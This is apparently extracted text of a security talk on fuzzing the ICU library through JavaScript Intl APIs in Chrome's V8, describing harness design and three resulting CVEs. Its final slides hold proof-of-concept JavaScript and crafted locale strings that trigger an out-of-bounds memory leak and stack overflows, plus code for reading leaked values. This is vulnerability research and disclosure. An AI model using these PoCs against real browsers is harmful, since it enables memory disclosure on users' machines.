International Problems:
Serialized Fuzzing for ICU Vulnerabilities
Yuan Deng(@scdeny)Who am I❑ Senior security researcher• @Ant-Financial Light-Year Security Lab• Chrome/Apple/Microsoft CVE hunter❑ Research Intrerests• Browser fuzzing• Sandbox bypass❑ Twitter• @scdenyOutline•••••

About ICUICU for JavaScript
Strict filters before ICU
Fuzzing ICU for JavaScript
3 CVEs in Chrome

About ICU❑ International Components for Unicode•
•
•
••
•

Open Source(since 1999)
Contributions from IBM, Google, Apple, Yahoo, ...
Software Internationalization\Globalization
Unicode support
C/C++\Java
http://site.icu-project.org/

About ICU❑ Services provided by ICU•••••••

Code Page Conversion
Collation
Formatting
Time Calculations
Unicode Support
Regular ExpressionBidi

Who Uses ICU?
•GoogleWeb Search, Google+, Chrome/Chrome OS, Android, etc
libicucore.A.dylib• ApplemacOS (OS & applications), iOS (iPhone, iPad, iPod touch), watchOS & tvOS, etc•

Microsoft•

Harman/Becker

icuin.dll, icuuc.dll
Windows 10 - Creators Update, Visual Studio 2017 [Electron], Visual Studio Code[Electron], ChakraCore
Alfa Romeo, Audi, Bentley, BMW, Buick•

Apache, IBM, AdobeICU for Javascript❑ JavaScript functions using ICU• Intl.DateTimeFormat()• Intl.NumberFormat()• Intl.Collator()• Intl.PluralRules()• Object.toLocaleString()• String.toLocaleLowerCase()• Date.toLocaleTimeString()

ICU for Javascript❑ new Intl.NumberFormat([locales[, options]])•localeszh-Hans-CN-u-nu-hanidec•

options

localeMatcher, style, currency, minimumIntegerDigits, etc{ style: 'currency', currency: 'EUR' }ICU for Javascript❑ new Intl.NumberFormat([locales[, options]])

ICU for Javascript❑ new Intl.Collator([locales[, options]])•localesja-JP-u-ca-japanese•

options

localeMatcher, timeZone, hour12, weekday, era, year, month, day, etc{ weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }ICU for Javascript❑ new Intl.Collator([locales[, options]])

ICU for Javascript❑ new Intl.DateTimeFormat([locales[, options]])•localesja-JP-u-ca-japanese•

options

localeMatcher, timeZone, hour12, weekday, era, year, month, day, etc{ weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }ICU for Javascript❑ new Intl.DateTimeFormat([locales[, options]])

Strict filters before ICU❑ CreateDateTimeFormat• Locale filter

var locale = resolveLocale('dateformat', locales, options);• TimeZone filter
var tz = canonicalizeTimeZoneID(options.timeZone);• Runtime filter
var dateFormat = %CreateDateTimeFormat( requestedLocale, {skeleton: ldmlString, timeZone: tz}, resolved);

Strict filters before ICU❑ function isStructuallyValidLanguageTag• LanguageTagRE"^(([a-zA-Z]{2,3}(-([a-zA-Z]{3}(-[a-zA-Z]{3}){0,2}))?|[a-zA-Z]{4}|[a-zA-Z]{5,8})(-([a-zA-Z]{4}))?(-([a-zA-Z]{2}|[0-9]{3}))?((([a-zA-Z]|[0-9]){5,8}|([0-9]([a-zA-Z]|[0-9]){3})))*(-(([0-9]|[A-WY-Za-wy-z])(-([a-zA-Z]|[0-9]){2,8})+))*(-(x(-([a-zA-Z]|[0-9]){1,8})+))?|(x(-([a-zA-Z]|[0-9]){1,8})+)|((en-GB-oed|i-ami|i-bnn|i-default|i-enochian|i-hak|i-klingon|i-lux|imingo|i-navajo|i-pwn|i-tao|i-tay|i-tsu|sgn-BE-FR|sgn-BE-NL|sgn-CH-DE)|(art-lojban|cel-gaulish|no-bok|no-nyn|zh-guoyu|zh-hakka|zh-min|zh-min-nan|zh-xiang)))$”• LanguageVariantRE"^(([a-zA-Z]|[0-9]){5,8}|([0-9]([a-zA-Z]|[0-9]){3}))$”• LanguageSingletonRE"^([0-9]|[A-WY-Za-wy-z])$"Strict filters before ICU❑ function canonicalizeLanguageTag• isStructuallyValidLanguageTag• %CanonicalizeLanguageTag ( runtime-intl.cc )o uloc_forLanguageTag // locale tag ➔ char icu_result[256]o uloc_toLanguageTag // char icu_result[256] ➔ locale tag

Strict filters before ICU❑ function resolveLocale• canonicalizeLanguageTag• Remove all extensions
replace("-[a-z0-9]{1}-.*", “”)• Match locale
availableLocales[locale]• Match extension"-u(-[a-z0-9]{2,8})+”

Strict filters before ICU❑ function canonicalizeTimeZoneID• Area/Location(/Location)*"^([A-Za-z]+)/([A-Za-z_-]+)((?:/[A-Za-z_-]+)+)*$"• toTitleCaseTimezoneLocation

Strict filters before ICU❑ runtime-intl.cc
RUNTIME_FUNCTION(Runtime_CreateDateTimeFormat) {icu::SimpleDateFormat* date_format =DateFormat::InitializeDateTimeFormat(isolate, locale, options, resolved);

Strict filters before ICU❑ intl-objects.cc
icu::SimpleDateFormat* DateFormat::InitializeDateTimeFormat({uloc_forLanguageTag(*bcp47_locale, icu_result,...
icu_locale = icu::Locale(icu_result);}

icu::SimpleDateFormat* date_format =CreateICUDateFormat(isolate, icu_locale, options);

Strict filters before ICU❑ intl-objects.cc
icu::SimpleDateFormat* CreateICUDateFormat(Isolate* isolate,{tz = icu::TimeZone::createTimeZone(timezone);}

date_format = new icu::SimpleDateFormat(pattern, icu_locale, status);

Fuzzing ICU for JavaScript❑ Intl.DateTimeFormat methods• format ()dateformat.format (date);• formatToParts()

dateformat.formatToParts(date);• resolvedOptions()

dateformat.resolvedOptions(date);Fuzzing ICU for JavaScript❑ Intl.DateTimeFormat.formatToParts()

Fuzzing ICU for JavaScript❑ Random based• Fuzzer patterndate = RandomDate(number)formatter = new Intl.DateTimeFormat(RandomLocale(string),
RandomOptions())
formatter.format(date);• Result✓ Most of input is invalid //”vf0c^$bB”✓ Too many filters before ICU

Fuzzing ICU for JavaScript❑ Generation based•

Locales

RandomChoice([ af, ak, am, an, ar, …, zh, zh-CN, zh-HK, zh-Hans, … ])•Unicode extension
RandomChoice([ nu, ca, hc, co, kn, kf ])• nu for NumberFormat✓ More effective
RandomChoice(["arab", "arabext", "bali", "beng”, … ]) ✓ Miss some• ca for DateFormatcase
RandomChoice(["buddhist", "chinese", "coptic", "ethioaa”, …])
tag = RandomChoice(glocal) + '-nu-’ + RandomChoice(gnumid)Fuzzing ICU for JavaScript❑ Simple LibFuzzer// icu_number_format_fuzzer.cc
extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {const icu::Locale& locale = GetRandomLocale(&rng);
std::unique_ptr<icu::NumberFormat> fmt(icu::NumberFormat::createInstance(locale, status));✓ Usually only fuzz one argument✓ Most crash cases can not be triggered from JavaScriptFuzzing ICU for JavaScript❑ Intl.DateTimeFormat
datetimeZone

localetimezonehour12\hourCycleskeleton

localeformatMatcherweek\day\erayear\month\......

We fuzzing from hereICUdateV8JavaScript• Arguments passed from JavaScript to ICU
icu::SimpleDateFormat()
icu::TimeZone::createTimeZone()
icu::SimpleDateFormat::format()Fuzzing ICU for JavaScript❑ Intl.DateTimeFormat• Fuzzing input pattern to ICU:
class DateFormatInput {int date;string locale;string timezone;
string skeleton;}

Fuzzing ICU for JavaScript❑ Serializing object into bytes
class arguments{String strA;
Int iB;}• String• Integer• if exists• if exists

strA\0• if not exists\0trueintB• if not exists
falseFuzzing ICU for JavaScript❑ Deserializing object from bytes
datastrA

\0

true

intB

...

ExtractString(data, size, &strA)
ExtractIntegerSetting (data, size, &intB)

class arguments{
String strA;
Int iB;}Fuzzing ICU for JavaScript❑ Serializing DateFormat Input Object
class DateFormatInput {int date;
string locale;string timezone;
string skeleton;}

true datelocale\0 timezone \0skeleton\0Fuzzing ICU for JavaScript❑ Intl.NumberFormat
datecurrency

localecurrency

currencyDisplay
minimumIntegerDigits

currencyDisplay
minimumIntegerDigits

localeminimumFractionDigits
maximumFractionDigits

minimumFractionDigits
maximumFractionDigits

ICU

date

V8

JavaScript

Arguments passed from JavaScript to ICU:
icu::SimpleNumberFormat()
icu::TimeZone::createTimeZone()
icu::SimpleNumberFormat::format()Fuzzing ICU for JavaScript❑ Serializing NumerFormat Input Object
class NumberFormatInput{
localestyle
currency
currencyDisplay
minimumIntegerDigits
minimumFractionDigits
maximumFractionDigitsminimumSignificantDigits
maximumSignificantDigits
useGrouping,......}

locale \0 \0locale \0

B minimumIntegerDigitsstyle\0 percent \0locale \0 style \0B...

minimumIntegerDigits ...

currency \0 currencyDisplay\0B

minim...

Fuzzing ICU for JavaScript❑ Fuzzer pattern
extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {ExtractString(data, size, locale);
ExtractString(data, size, timezone);
ExtractString(data, size, skeleton);
ExtractString(data, size, date);
icu::SimpleDateFormat(locale, skeleton)icu::TimeZone::createTimeZone(timezone)
icu::SimpleDateFormat::format(date)Fuzzing ICU for JavaScript❑ Tons of crashes• Filtered locale‘x-x-ndu-lvariant-x-nd’ trigger stack-buffer-underflow• Invalid skeleton
locale : lg-arskeleton:|[0xfffd]bs-Cyrl-C| trigger out-of-bounddate : -nan == ffffffffffffffff

Fuzzing ICU for JavaScript❑ Improvement• Add more checker for locale

Fuzzing ICU for JavaScript❑ Improvement• Skeleton check
optiontype

option-value

weekday

stringnarrow: 'EEEEE', short: 'EEE', long: 'EEEE'era

stringnarrow: 'GGGGG', short: 'GGG', long: 'GGGG'

year

string2-digit: 'yy', numeric: 'y'monthstring2-digit: 'MM', numeric: 'M', narrow: 'MMMMM', short: 'MMM', long: 'MMMM'

day

string2-digit: 'dd', numeric: 'd'

...

...

...

• Valid bytes‘EGyMdjhHmsz’CVE-2017-15422❑ Persian Calendar Integer overflow//poc.jsvar dateformatter = new Intl.DateTimeFormat("bs-Cyrl-u-ca-persian");date = null;
Date.prototype["valueOf"] = function (){}; //date return NaNd = dateformatter.formatToParts(date);

CVE-2017-15422❑ Root Cause//i18n/persncal.cpp
void PersianCalendar::handleComputeFields(int32_t julianDay, UErrorCode &/*status*/){
int32_t daysSinceEpoch = julianDay - PERSIAN_EPOCH;//
year = 1 + ClockMath::floorDivide(33 * daysSinceEpoch + 3, 12053);.......
dayOfMonth = dayOfYear - kPersianNumDays[month] + 1; // Out Of Bound read}
0x800782ec * 33 = 0x1080f7e06c //overflowed
month = -67174455
x * 33 > 0x80000000
x > 65075262CVE-2017-15422❑ Exploit

year
month-dayOfMonthCVE-2017-15422❑ Caculate the value from leakvar daysSinceEpoch = julianDay - PERSIAN_EPOCH;var farvardin1 = 365 * (year - 1) + Math.floor((8 * year + 21)/33);
var dayOfYear = (daysSinceEpoch - farvardin1);
value = (dayOfYear + 1 - dayOfMonth)&0xffff;
console.log(month, ':', toHex(value));CVE-2017-15422❑ Chromeleak memory fromkPersianNumDays[ 433835? ]CVE-2017-15422❑ Safarileak memory fromkPersianNumDays[ 433835? ]CVE-2017-15422❑ Firefox
leak memory fromkPersianNumDays[ 433835? ]CVE-2017-15422❑ PatchCVE-2017-15422❑ Existfor 5+ years
from 2012-10-3

CVE-2017-15422❑ Existfor 5+ years
from 2012-10-3

CVE-2017-15396❑ NumberingSystem::createInstance StackOverflow• PoC

var nf = new Intl.NumberFormat('bs-u-nu-bzcu-cab-cabs-avnlubs-avnihu-zcu-cab-cbs-avnllubs-avnihq-zcucab-cbs-ubs-avnihu-cabs-flus-xxd-vnluy');• Root Causechar buffer[ 96 ];int32_t count = inLocale.getKeywordValue("numbers",buffer, sizeof(buffer),status);if ( count > 0 ) {buffer[count] = '\0';//count = 99

CVE-2017-15406❑ CanonicalizeLanguageTag Stack Overflow• PoC

var dateti1 = new Intl.DateTimeFormat("iw-up-a-caiaup-araup-ai-pdu-sp-bs-up-arscna-zeieiaup-arauparscia-rews-us-up-arscna-zeieiaup-araup-arsciap-arscna-zeieiaup-araup-arscie-u-sp-bs-uaup-arscia");• Root Causechar icu_result[ULOC_FULLNAME_CAPACITY];
uloc_forLanguageTag(*locale_id, icu_result, ULOC_FULLNAME_CAPACITY, nullptr, &error);// not terminated with ‘\0’......
if (uprv_strlen(localeID) > 0) { // overflowed❑ Acknowledge• wish.wu• Yu Zhou• All of the team members

Thank you !